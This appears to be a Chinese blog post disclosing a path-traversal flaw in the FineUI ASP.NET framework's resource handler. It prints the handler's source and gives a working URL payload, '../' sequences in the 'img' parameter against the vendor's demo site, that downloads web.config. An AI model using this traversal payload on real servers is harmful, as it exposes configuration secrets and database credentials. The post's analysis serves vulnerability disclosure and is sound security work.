• ASP.NET网站入侵第三波(fineui系统漏洞,可导致被拖库)


    注:屏蔽本漏洞的紧急通知:http://fineui.com/bbs/forum.php?mod=viewthread&tid=7863

    本人小学文化,文采不好,写的不好请各位多多包含,

        最近笔者喜欢研究一些代码安全方面的问题,前些日子研究了下力软的框架,发现代码安全方面做的还是不足的,今天偶尔的机会接触了下fineui,从最开始的注入开始,都没有什么突破,

    最好就想到列别的排序,从列别排序注入,弄了好久,发现一直没注入成功也没有报错,我就很是奇怪,然后看了下fineui的开源版,看了代码,发现原来他是判断的 ,不是拼接的,难怪注入失败,

    本来以为没什么办法了,然后查看页面源码,发现一个引用引起了我的注意:

    这个地址,于是去看了下他的源码

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Web;
    using System.Reflection;
    using System.IO;
    using System.Drawing.Imaging;
    
    namespace FineUI
    {
        /// <summary>
        /// 资源处理程序
        /// </summary>
        public class ResourceHandler : IHttpHandler
        {
            /// <summary>
            /// 处理资源的请求
            /// </summary>
            /// <param name="context">Http请求上下文</param>
            public void ProcessRequest(HttpContext context)
            {
                string type = String.Empty;
                string typeValue = String.Empty;
                string extjsBasePath = GlobalConfig.GetExtjsBasePath();
                //resName = "FineUI.";
    
    
                if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["icon"]))
                {
                    type = "icon";
                }
                //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["js"]))
                //{
                //    type = "js";
                //    //resName += "js." + typeValue;
                //}
                //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["lang"]))
                //{
                //    type = "lang";
                //    //resName += "js.lang." + typeValue;
                //}
                else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["theme"]))
                {
                    // res.axd?theme=default.grid.refresh.gif
                    type = "theme";
                    //resName += "res.theme." + typeValue;
                }
                //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["css"]))
                //{
                //    type = "css";
                //    //resName += "res.css." + typeValue;
                //}
                else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["img"]))
                {
                    type = "img";
                    //resName += "res.img." + typeValue;
                }
                else
                {
                    context.Response.Write("Not supported!");
                    return;
                }
    
                //byte[] binary;
                switch (type)
                {
                    case "icon":
                        if (!typeValue.EndsWith(".png") && !typeValue.EndsWith(".gif"))
                        {
                            typeValue = IconHelper.GetName((Icon)Enum.Parse(typeof(Icon), typeValue));
                        }
                        //resName += "res.icon." + typeValue;
                        string serverPath = String.Format("{0}/{1}", GlobalConfig.GetIconBasePath(), typeValue);
                        context.Response.WriteFile(context.Server.MapPath(serverPath));
    
                        context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                        break;
                    //case "js":
                    //    context.Response.Write(ResourceHelper.GetResourceContent(resName));
                    //    context.Response.ContentType = "text/javascript";
                    //case "lang":
                    //    context.Response.Write(ResourceHelper.GetResourceContent(resName));
                    //    context.Response.ContentType = "text/javascript";
                    //    break;
                    //case "css":
                    //    context.Response.Write(ResourceHelper.GetResourceContent(resName));
                    //    context.Response.ContentType = "text/css";
                    //    break;
                    case "theme":
                        string themePath = "";
                        string themeImageFormat = "";
                        int lastDotIndex = typeValue.LastIndexOf(".");
                        if (lastDotIndex >= 0)
                        {
                            themePath = typeValue.Substring(0, lastDotIndex).Replace('.', '/');
                            themeImageFormat = typeValue.Substring(lastDotIndex + 1);
                        }
    
                        context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}.{2}", extjsBasePath, themePath, themeImageFormat)));
    
                        context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                        break;
                    case "img":
                        //binary = ResourceHelper.GetResourceContentAsBinary(resName);
                        //context.Response.OutputStream.Write(binary, 0, binary.Length);
                        //context.Response.ContentType = "image/" + GetImageFormat(resName);
                        
    
                        context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));
    
                        context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                        break;
                }
    
    
                // 缓存一年,只能通过改变 URL 来强制更新缓存
                context.Response.Cache.SetExpires(DateTime.Now.AddYears(1));
                context.Response.Cache.SetCacheability(HttpCacheability.Public);
            }
    
            //private void RenderImage(HttpContext context, string resName)
            //{
            //    Assembly assembly = Assembly.GetExecutingAssembly();
            //    using (Stream stream = assembly.GetManifestResourceStream(resName))
            //    {
            //        using (System.Drawing.Image image = System.Drawing.Image.FromStream(stream))
            //        {
            //            // PNG输出时出现“GDI+ 中发生一般性错误”
            //            using (MemoryStream ms = new MemoryStream())
            //            {
            //                image.Save(ms, image.RawFormat);
            //                ms.WriteTo(context.Response.OutputStream);
            //                context.Response.ContentType = "image/" + GetImageFormat(image.RawFormat);
            //            }
            //        }
            //    }
            //}
    
            private string GetImageFormat(string imageName)
            {
                int lastDotIndex = imageName.LastIndexOf(".");
                if (lastDotIndex >= 0)
                {
                    return imageName.Substring(lastDotIndex + 1);
                }
                return "png";
            }
    
            private string GetImageFormat(ImageFormat format)
            {
                if (format == ImageFormat.Bmp)
                {
                    return "bmp";
                }
                else if (format == ImageFormat.Gif)
                {
                    return "gif";
                }
                else if (format == ImageFormat.Jpeg)
                {
                    return "jpeg";
                }
                else if (format == ImageFormat.Png)
                {
                    return "png";
                }
                else if (format == ImageFormat.Tiff)
                {
                    return "tiff";
                }
                else if (format == ImageFormat.Icon)
                {
                    return "icon";
                }
                return "gif";
            }
    
    
            /// <summary>
            /// 只要请求的 URL 相同,则请求可以重用
            /// </summary>
            public bool IsReusable
            {
                get
                {
                    return true;
                }
            }
        }
    }

    看了下,高兴啊。。太好了,不知道你们看出问题来了没有,

    问题代码就在

      case "img":
                        //binary = ResourceHelper.GetResourceContentAsBinary(resName);
                        //context.Response.OutputStream.Write(binary, 0, binary.Length);
                        //context.Response.ContentType = "image/" + GetImageFormat(resName);
                        
    
                        context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));
    
                        context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                        break;

    大家都应该知道 我们引用js或者css的时候经常会有../ 这样的路径,其实很简单,就是上级目录,

    我们就利用这个../  把作者写的/res/images/给去掉  也就是变成路径  

    /res/images/../../web.config  

    就这样我们就可以拿到web.config了,然后拼成完整的url:http://fineui.com/demo/res.axd?img=../../../../appboxpro/web.config&t=icon  浏览器输入

    ok web.config就这样被拿下来了,,,当然,web.config都拿下了,其它也就都没什么可说的了,

    今天就先到这吧。。。还得写文档,明天演示项目,注定又是一个无眠夜。。。

  • 相关阅读:
    你可能不知道的 Laravel Eloquent 小技巧
    Intervention/image 对 Laravel 项目中的图片进行处理
    phpspider简单快速上手的php爬虫框架
    laravel job 与 event 的区别
    laravel 存储配置 Redis 多个库选择
    【XSS技巧拓展】————28、The Shortest Reflected XSS Attack Possible
    【XSS技巧拓展】————27、Avoiding XSS Detection
    【XSS技巧拓展】————26、File Upload XSS
    66、Redis 未授权访问配合 SSH key 文件利用分析
    【XSS技巧拓展】————25、Transcending Context-Based Filters
  • 原文地址:https://www.cnblogs.com/dotnet-org-cn/p/5089924.html
Copyright © 2020-2023  润新知